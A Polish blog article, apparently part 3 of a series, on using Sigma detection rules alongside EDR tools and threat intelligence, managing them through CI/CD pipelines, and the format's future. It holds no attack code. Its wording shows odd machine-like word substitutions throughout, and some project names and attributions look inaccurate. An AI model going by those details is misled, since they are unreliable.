Podsumowując, Sigma nie konkuruje z IoC/TI, raczej gra inną rolę: wychodzi ponad pojedyncze wskaźniki i pozwala łapać całe techniki. Ale potrafi też IoC incorporować, jeżeli jest taka potrzeba. Warto używać jednego i drugiego – dobre reguły Sigma plus aktualne TI razem dają najlepsze wyniki (łapiemy zarówno znane wzorce zachowań jak i konkretne znane złe adresy).
Współpraca Sigma z narzędziami EDR
Narzędzia typu EDR (np. Microsoft Defender for Endpoint, CrowdStrike Falcon, SentinelOne, Carbon Black i inne) działają na punktach końcowych i często mają własne mechanizmy detekcji i reakcji (np. zapobiegawczo blokują exploit, wykrywają podejrzane zachowanie w czasie rzeczywistym na hoście). Pytanie: czy Sigma ma tu coś do dodania, skoro EDR już „widzi” wiele rzeczy u źródła?
- Logi EDR w SIEM: Najbardziej bezpośrednia integracja – wiele organizacji wysyła zdarzenia z EDR do centralnego SIEM (dla korelacji i długoterminowego przechowywania). Te zdarzenia EDR to często informacje o procesach, modulach, alertach wygenerowanych na hoście. Sigma może być użyta do analizowania logów z EDR podobnie jak każdych innych. Trzeba tylko znać format. Np. CrowdStrike generuje logi w pewnym schemacie JSON, ale można je zmapować do kluczowych pól (proces, parent, command line itd.). Część repozytoriów Sigma ma dedykowane reguły pod EDR – np. polujące na przypadki ominięcia EDR (wyłączenie usługi, wstrzyknięcie w proces agenta, itp.). Z kolei Microsoft Defender for Endpoint udostępnia Advanced Hunting oparty na Kusto – co ciekawe, jest choćby backend Sigma do KQL m365defender, umożliwiający pisanie reguł Sigma i konwersję do zapytań huntingowych MDE.
- Konwersja Sigma na query EDR: Niektóre EDR pozwalają budować własne zapytania lub reguły detekcji. Przykładowo, SentinelOne ma możliwość tworzenia tzw. Deep Visibility queries, Carbon Black ma język CB Query, CrowdStrike udostępnia zapytania SQL do ich indeksu zdarzeń. W teorii, pisząc backend do Sigma, można by konwertować reguły Sigma na te zapytania. Już teraz wspomniany Sigma CLI obsługuje niektóre z nich poprzez pluginy (np. -t crowdstrike, -t defender-atp itp., o ile zainstalujemy odpowiednie rozszerzenia). To oznacza, iż Sigma staje się jednym formatem na reguły zarówno dla SIEM jak i EDR. Przykładowo, jedną regułę (np. wykrywanie Mimikatz) możemy przekonwertować zarówno do SPL dla Splunk, jak i do zapytania Defender for Endpoint KQL, i mieć detekcję na dwóch poziomach – w hostach i w logach SIEM. To zwiększa szansę złapania ataku (obrona warstwowa).
- Współdziałanie alertów: jeżeli EDR wykryje coś sam (np. heurystycznie wykryje exploit), może wysłać alert do SIEM. Tam z kolei inna reguła Sigma może to potraktować jako jeden z sygnałów i korelować z innymi logami (np. alert EDR + zdarzenie z Active Directory). W ten sposób Sigma może integrować sygnały z EDR w szerszy obraz. Pewne organizacje piszą reguły Sigma, które np. wykrywają alert EDR o określonym typie i łączą go z informacją z logów systemowych – to umożliwia wzbogacenie kontekstu alertu lub ograniczenie false positive EDR przez potwierdzenie innym źródłem.
- Detekcje nieobjęte przez EDR: Choć EDR jest potężny, nie zawsze łapie wszystko – np. działania w sieci, lub ataki na warstwę aplikacji niemonitorowaną agentem. Sigma pokrywa też te obszary (np. logi serwerów www, VPN, chmury itp.). W integracji chodzi więc o to, by mieć spójne reguły na całość ekosystemu. Można pomyśleć, iż Sigma to „klej”, który łączy EDR, SIEM, NDR – bo można dla każdej z tych platform wygenerować odpowiednie detektory z jednego źródła prawdy.
- Przykład integracji: Microsoft Sentinel potrafi korzystać z reguł Sigma, a jednocześnie agreguje alerty z Defender for Endpoint. Możemy mieć regułę Sigma (w Sentinel jako Analytics Rule) mówiącą: „jeśli w ciągu 1 godziny wystąpi alert z MDE o podejrzanym procesie i log z Azure AD o resetowaniu wielu haseł, to podnieś incydent”. Tutaj Sigma jest narzędziem spinającym dane z EDR (MDE) i innych źródeł. Takie użycie wymaga już kreatywności i custom backend (Sigma nie ma gotowej składni „alert from MDE”, ale można bazować na adekwatnościach logów alertów MDE jak ProviderName etc.).
Ogólnie, Sigma i EDR się uzupełniają – EDR daje bogate logi endpointowe i czasem reaguje automatycznie, Sigma daje elastyczność pisania własnych detekcji i łączenia danych. Razem podnoszą zdolność wykrywania zaawansowanych zagrożeń.
Integracja detekcji z CI/CD – reguły Sigma jako kod
We wcześniejszych sekcjach wspomnieliśmy o podejściu Detection as Code. Tutaj rozwiniemy ten temat, bo jest to coraz ważniejszy trend: zarządzanie regułami detekcji w sposób zautomatyzowany, jak kodem w projekcie IT. Sigma, ze swoją formą plików tekstowych YAML, jest wręcz stworzona do takiej integracji.
Wyzwanie tradycyjne a podejście CI/CD
Tradycyjnie, reguły detekcji w SIEM tworzyło się klikając w konsoli, a ich wersjonowanie czy przenoszenie między środowiskami (test → produkcja) bywało kłopotliwe. Podejście CI/CD wprowadza tu automatyzację i kontrolę wersji:
- Reguły trzymamy w repozytorium (Git), gdzie każda zmiana jest zapisana. Można robić code review do reguł – np. ktoś proponuje nową regułę Sigma w branchu, senior inżynier przegląda składnię, testy jednostkowe (o ile są) i zatwierdza merge.
- Pipeline CI (np. w GitLab CI, GitHub Actions, Jenkins) może automatycznie po wykryciu zmian w repo wykonać szereg kroków: walidację składni (czy YAML poprawny, czy zawiera wymagane pola), uruchomienie testów (np. przetestowanie reguły na przykładowych logach), a następnie konwersję do docelowych platform i wdrożenie ich przez API.
Brzmi futurystycznie? Takie rozwiązania już istnieją. Przykład: Brendan Chamberlain opisał pipeline CI/CD, gdzie po zatwierdzeniu reguły Sigma w repo, GitLab CI uruchamia kontenery: jeden z Splunk, do którego przez API wgrywa nową regułę (jako saved search), używając wcześniej sigmac do konwersji Sigma→SPL. W ten sposób wiele SIEM można aktualizować z jednego źródła. Skalowalność takiego podejścia jest ogromna – duże przedsiębiorstwo może centralnie zarządzać setkami reguł i dystrybuować je do wielu instancji SIEM, chmurowych i on-prem, zachowując spójność.
Korzyści CI/CD w detekcjach:
- Szybkość wdrażania: Nowa reguła z pomysłu trafia do produkcji choćby w kilka godzin, automatycznie, bez żmudnego klikania.
- Testowalność: Każda zmiana reguły może przejść testy. Można np. mieć zestaw sample logs JSON, dla których reguła powinna dać wynik (albo nie dać, w przypadku logów czystych). Istnieją narzędzia open-source do testów jednostkowych reguł Sigma (np. Detection Test Harness).
- Zarządzanie konfiguracją: Wszystkie reguły w repo można parametryzować. Np. w pliku konfiguracyjnym definiujemy, iż index=security ma być użyty zamiast default index=*. Pipeline podczas konwersji może korzystać z takiego configu (sigma CLI wspiera pliki konfiguracyjne per backend). To zapewnia dostosowanie reguł do środowiska bez edycji każdej reguły z osobna.
- Rollback i audyt: jeżeli jakaś zmiana reguły spowodowała problem (np. fala false positives), można gwałtownie wrócić do poprzedniej wersji (git revert) i wypchnąć pipeline. Wiadomo też, kto wprowadził zmianę, bo commit jest podpisany – to buduje odpowiedzialność i lepszą jakość (wymusza review i testy – nikt nie chce popsuć, więc proces jest solidniejszy).
- Konsolidacja wielu źródeł: Możesz połączyć własne reguły z zewnętrznymi. Np. sklonować oficjalne repo SigmaHQ jako submodule i co tydzień automatycznie budować paczkę z nowych reguł i wdrażać. Oczywiście z rozwagą – może lepiej najpierw przefiltrować które z nich chcesz (są narzędzia jak SOC Prime TDM, gdzie można zarządzać prenumeratą reguł).
Praktyczny przykład pipeline
Wyobraźmy sobie prosty pipeline CI/CD dla Sigma:
- Repozytorium: Katalog sigma_rules/ z plikami .yml. Każda reguła ma nazwę np. windows_proc_lsass_dump.yml.
- Pull request: Dodajemy nową regułę lub zmieniamy istniejącą. PR opisuje np. „Dodano detekcję nietypowej instalacji usług Windows (Persistence)”.
- Continuous Integration: Pipeline uruchamia:
- Linter/validator Sigma (sprawdza poprawność YAML i zgodność ze specyfikacją). SigmaHQ udostępnia np. skrypt sigma-cli lint.
- Jednostkowe testy: np. mamy zebrane logi z testu ataku, pipeline sprawdza czy reguła faktycznie dopasowuje (tu może trzeba custom skrypt, choć są rozwiązania jak DetectionTestHarness).
- Konwersja próbna: pipeline konwertuje regułę do docelowych języków i może sprawdzić czy zapytanie się wykonuje (trudniejsze do zautomatyzowania bez dostępu do SIEM, ale np. Splunk ma endpoint dry-run).
- Jeśli wszystko ok – pipeline sygnalizuje, iż zmiana jest dobra.
- Merge i deployment: Gdy PR zostanie zmergowany, uruchamia się pipeline CD (deployment). On:
- Pobiera nowe/zmienione reguły.
- Konwertuje je do formatu docelowego (np. generuje plik konfiguracyjny Splunk savedsearches.conf poprzez narzędzie typu Sigma2SplunkAlertgithub.com).
- Łączy to z szablonem i wysyła przez API do Splunk (np. korzystając z Splunk REST API).
- Dla Elastic może użyć API Kibany (jest API do tworzenia rules lub po prostu może tworzyć Detection Rule in JSON).
- Dla Sentinel może wykorzystać Azure REST API czy PowerShell do tworzenia Analytic Rules z kwerendą.
- Pod koniec pipeline raportuje sukces. W logach pipeline mamy historię, co zostało wdrożone.
Brzmi skomplikowanie, ale wiele elementów jest już gotowych: sigma-cli zapewnia konwersje, API SIEM są dostępne. Społeczność dzieli się skryptami – np. istnieje projekt na GitHub 0x4D31/detection-and-response-pipeline pokazujący implementację takiego pipeline z GitLab, sigma, Splunkgithub.com.
CI/CD a jakość detekcji
Co daje nam CI/CD poza automatyzacją? Jakość i aktualność. Dobre reguły detekcji to takie, które są:
- Aktualne wobec zmieniacych się technik ataków (tu pomaga szybki update z repozytoriów społeczności).
- Przetestowane (CI to zapewnia).
- Spójne (wszystkie reguły trzymają pewien standard formatowania, nazewnictwa – łatwiej to egzekwować przy centralnym zarządzaniu, np. wymusić pewien prefix w tytułach, ujednolicone tagi).
- Szybko wdrażane (czas reakcji na nowe zagrożenie skraca się – co może robić różnicę w zapobieganiu incydentowi).
Ponadto, integracja z CI/CD pozwala na łączenie z procesem deweloperskim organizacji. Przykładowo, kiedy DevOps wdrażają nową aplikację, mogą też dostarczyć odpowiednie logi i od razu reguły Sigma do monitorowania nadużyć tej aplikacji. Te reguły przechodzą pipeline i lądują w SIEM wraz z uruchomieniem aplikacji produkcyjnie. To idea SecDevOps w praktyce.
Oczywiście, by zbudować taki pipeline, potrzeba dojrzałości i pracy. Ale choćby małymi krokami można zacząć: trzymać reguły Sigma w git, a chociażby manualnie (skryptem odpalanym manualnie) raz na jakiś czas synchronizować do SIEM. Wiele organizacji zaczyna tak, by potem ewoluować do pełnego CI/CD.
Sigma stała się na tyle standardem, iż coraz więcej narzędzi wspiera to podejście. Wspomniane jest, iż już teraz Sigma rule repo można łatwo wciągnąć w pipeline. W niedalekiej przyszłości pewnie zobaczymy jeszcze bardziej zautomatyzowane rozwiązania (może SIEM-y same integrujące git repo z regułami Sigma?).
Przyszłość Sigma – nowe horyzonty i automatyzacja detekcji
Sigma, od czasu powstania w 2017 roku (inicjatywa Florian Roth), przeszła długą drogę i stała się de facto standardem opisania log-based detection. Co dalej czeka Sigma? Oto kilka trendów i rozwijających się tematów w ekosystemie Sigma:
Wsparcie nowych backendów i ekosystemów
Lista obsługiwanych platform stale rośnie. Na początku Sigma celowała w popularne SIEM (Splunk, Elastic, QRadar, ArcSight). w tej chwili dodawane są backendy dla chmurowych rozwiązań (Azure Sentinel, Google Chronicle, AWS Athena), dla XDR/EDR (Defender, CrowdStrike) i SOAR (np. może generować playbook triggers). Przykładem dużego kroku było ogłoszenie wsparcia Sigma przez IBM QRadar w 2023 – co pokazuje, iż choćby komercyjni vendorzy integrują standard community. Możemy się spodziewać, iż kolejne produkty będą iść tą drogą. Być może doczekamy się, iż Sigma stanie się w pełni uniwersalnym językiem reguł bezpieczeństwa – nie tylko dla logów SIEM, ale też dla endpointów, a choćby IDS/IPS (jak Suricata czy Zeek – tu częściowo jest overlap, bo istnieje podobny format SIGMA dla Suricaty?). Już teraz wymienia się, iż Sigma wspiera >20 różnych backendów, od Splunka i Elastic, po mniej oczywiste jak Sumo Logic czy choćby SQL (np. Azure Monitor Log Analytics). Społeczność rozwija wtyczki do sigma-cli, więc każdy może napisać backend do własnego formatu.
Nowe backendy to także formaty cloudowe – np. Google Chronicle czy Amazon Security Lake. jeżeli firmy będą przyjmować Sigma jako import/export standard, to możliwe stanie się przenoszenie reguł nie tylko między on-premise SIEM, ale i między chmurami. To zabezpiecza przed vendor lock-in: inwestujesz w content detekcyjny (reguły), a nie boisz się, iż po zmianie narzędzia cała praca pójdzie na marne.
Rozwój społeczności i bazy reguł
Społeczność Sigma jest bardzo aktywna. Główne repozytorium SigmaHQ/sigma na GitHub rozwija się dynamicznie – ponad 3000 reguł (stan na 2023), a wciąż dochodzą nowe. Istnieją też poboczne repozytoria: np. Sigma mieści się w projekcie OSCD (Open Source Cyber Detector) koncentrującym się na atakach APT, jest ThreatHunting repo dedykowane threat huntingowi, czy reguły od Red Canary (Atomic Threat Coverage) dopasowane do ich atomics.
Coraz więcej firm i researcherów dzieli się regułami Sigma przy okazji publikacji narzędzi lub raportów. Widzieliśmy przykłady: Florian Roth (pomysłodawca Sigma) regularnie publikuje reguły na swym blogu i w repo (np. reguły na nowe kampanie APT), firmy jak SOC Prime tworzą platformy (bazujące na Sigma) gdzie ludzie mogą publikować i choćby monetyzować swoje detekcje. To buduje ekosystem dzielenia się podobny do tego, jak kiedyś Snort czy YARA rules były wymieniane.
W przyszłości możemy spodziewać się:
- Więcej reguł gotowych do użycia: Być może powstanie centralny portal (SigmaHQ już czyni kroki ku temu, np. strona sigmahq.io ułatwia przeglądanie dokumentacji i reguł). A może doczekamy się „sklepu” z regułami (jak Splunkbase, ale neutralnego).
- Szkolenia i certyfikacje: Skoro Sigma staje się standardem, pewnie pojawią się kursy, certyfikaty z Detection Engineering with Sigma. Już teraz blogi i konferencje podejmują ten temat, np. prezentacje jak „Using Sigma for threat hunting”.
- Lepsza dokumentacja i praktyki: Projekt Sigma już publikuje guide’y i best practices (np. how-to, style guide), by ujednolicić sposób pisania reguł. To prawdopodobnie się rozwinie w oficjalny framework tworzenia detekcji.
Automatyzacja i AI w generowaniu reguł
Z punktu widzenia przyszłości, bardzo interesującym kierunkiem jest zastosowanie uczenia maszynowego i AI do wspomagania tworzenia reguł Sigma:
- MITRE CTID (Center for Threat-Informed Defense) pracuje nad projektem SigmaGen – ma on używać modeli językowych (LLM) do generowania reguł Sigma na podstawie opisów ataków w języku naturalnym. Ideą jest, iż analityk czyta blog o nowym malware i zamiast manualnie pisać regułę, prosi AI: „wygeneruj regułę Sigma, która wykryje zachowanie X opisane w blogu Y”. To może znacznie skrócić time-to-detect dla nowych zagrożeń. Oczywiście takie AI wymaga treningu i weryfikacji (błędy mogą być niebezpieczne), ale początkowe wyniki są obiecujące – LLM nauczone na istniejących tysiącach reguł potrafią zasugerować sensowne warunki.
- Narzędzia jak Uncoder AI (SOC Prime) już oferują pewne elementy: np. automatyczne tagowanie MITRE reguł (o czym wspomnieliśmy). To zmniejsza manualny wysiłek i błąd ludzki.
- Być może doczekamy integracji Sigma z mechanizmami UEBA/ML – np. reguła Sigma wygenerowana dynamicznie przez system detekcji anomalii (system zauważy anomalię i zaproponuje regułę, by ją łapać w przyszłości).
Sigma i inne standardy/dane
Sigma nie jest samotna – są inne formaty jak YARA (pliki, pamięć), Snort/Suricata (sieć), STIX (wymiana danych o zagrożeniach). Pojawia się tendencja, by łączyć te kropki. Na przykład:
- Mapping Sigma do STIX-Shifter: Projekt STIX-Shifter stara się umożliwić zapytania w jednym formacie do różnych danych – integracja z Sigma mogłaby pozwolić na zapisywanie detekcji w STIX Patterns. Jak dotąd, Sigma wydaje się wygodniejsza, ale niewykluczone, iż powstaną konwertery Sigma→STIX i odwrotnie.
- MITRE CAR & D3FEND: Sigma może integrować się z innymi inicjatywami MITRE. Np. Cyber Analytics Repository (CAR) opisuje analizy detekcyjne językiem pseudokodu – Sigma reguły mogą być implementacją konkretnych CAR. W tagach czasem pojawiają się odniesienia car.xxxxxx. Inicjatywa D3FEND mapuje techniki obrony – może Sigma doczeka się tagów d3fend opisujących mechanizmy obronne, co ułatwi budowanie defense coverage.
- OpenTelemetry i Sigma: Coraz więcej logów w chmurze i devops jest standaryzowanych np. w formacie OTEL. Czy pojawi się Sigma w środowiskach cloud native? Już są kategorie dla logów aplikacyjnych, kontenery itp., więc pewnie tak.
Usprawnienia techniczne Sigma
Sam format Sigma jest stale ulepszany:
- Nowe modyfikatory i funkcje w warunkach – by opisać bardziej skomplikowane scenariusze bez utraty uniwersalności. Np. może wprowadzone zostaną lepsze sposoby wyrażania zależności czasowych (obecnie near i count są dość ograniczone).
- Performance pipelines: Być może doczekamy się gotowych pipeline’ów do optymalizacji pod konkretne duże instancje (np. pipeline zmieniający zapytanie tak, by korzystało z jakiejś nowej funkcji SIEM).
- Integracja z MITRE ENGAGE/Shield: czyli dodawanie maybe not tylko detekcji, ale i reakcji? (to luźna spekulacja – Sigma raczej zostanie przy detekcji, ale kto wie, może powstanie format „Sigma Response” do automatycznego tworzenia reguł reakcji).
Wsparcie w narzędziach komercyjnych
Fakt, iż Sigma jest open-source nie zniechęca dostawców – raczej widzą w tym wartość. Już Splunk (przez Splunk Security Essentials/Lantern) publikuje artykuły posługujące się Sigma, Elastic akceptuje Sigma jako źródło (są skrypty importujące Sigma do ich Detection Engine). Możliwe, iż vendorzy będą budować mosty: np. „wrzuć tu plik Sigma, a my utworzymy odpowiednią regułę w naszym systemie”. Wspomniana integracja Recorded Future App for Splunk pozwala wprost przeglądać i deployować reguły Sigma z badań RF w Splunku – to kierunek, który może się upowszechnić.
W przyszłości więc wyobraźmy sobie, iż kupując nowy system bezpieczeństwa pytamy dostawcę: „czy obsługuje import/export Sigma?”. jeżeli nie – to minus, bo oznacza zamknięty ekosystem. Standaryzacja, którą niesie Sigma, mocno popycha branżę do interoperacyjności.
Podsumowanie

Sigma już teraz pełni rolę uniwersalnego języka detekcji, który łączy światy różnych narzędzi, środowisk i społeczności. Jej przyszłość rysuje się jasno — rosnąca adopcja, coraz bardziej zaawansowane reguły, integracja z automatyzacją i AI. Dla analityków i inżynierów bezpieczeństwa oznacza to wygodniejsze tworzenie i współdzielenie detekcji, szybsze reagowanie na zagrożenia oraz możliwość budowania zintegrowanych ekosystemów obronnych.
Sigma otwiera także drzwi do współpracy na niespotykaną dotąd skalę — wspólny język detekcji sprawia, iż jako społeczność obrońców możemy szybciej wymieniać się rozwiązaniami, działać wspólnie i skuteczniej oraz unikać wynajdowania koła na nowo w każdej organizacji.
Warto już dziś zainwestować czas w naukę tego formatu, bo wszystko wskazuje na to, iż Sigma pozostanie z nami na długo jako fundament nowoczesnej inżynierii detekcji. Mamy nadzieję, iż ta część serii (Część 3) dostarczyła Ci praktycznej wiedzy, która pomoże wykorzystać potencjał Sigma w codziennej pracy. Powodzenia w budowaniu skutecznych reguł i bezpiecznego SIEM!
Artykuł ten jak i jego poprzednia i następna część powstały na podstawie autorskiego 113 stronicowego ebooka pełnego wiedzy którego otrzymasz zapisując się na newsletter:
Newsletter – zero spamu
Dołącz by otrzymać aktualizacje bloga, akademii oraz ukryte materiały, zniżki i dodatkową wartość.
Administratorem danych jest Security Bez Tabu Wojciech Ciemski . Dane osobowe są przetwarzane w celu marketingu bezpośredniego (wysyłka newslettera – podstawa art. 6 ust. 1 lit. a) rodo). Mają Państwo prawo dostępu do danych i uzyskania kopii danych, usunięcia i modyfikacji danych osobowych, złożenia sprzeciwu, przeniesienia danych lub ograniczenia przetwarzania, wycofania zgody oraz do złożenia skargi do UODO. Więcej informacje na temat ochrony danych osobowych znajdą Państwo w naszej Polityce Prywatności.
Dziękujemy!
Witamy w sołeczności SBT!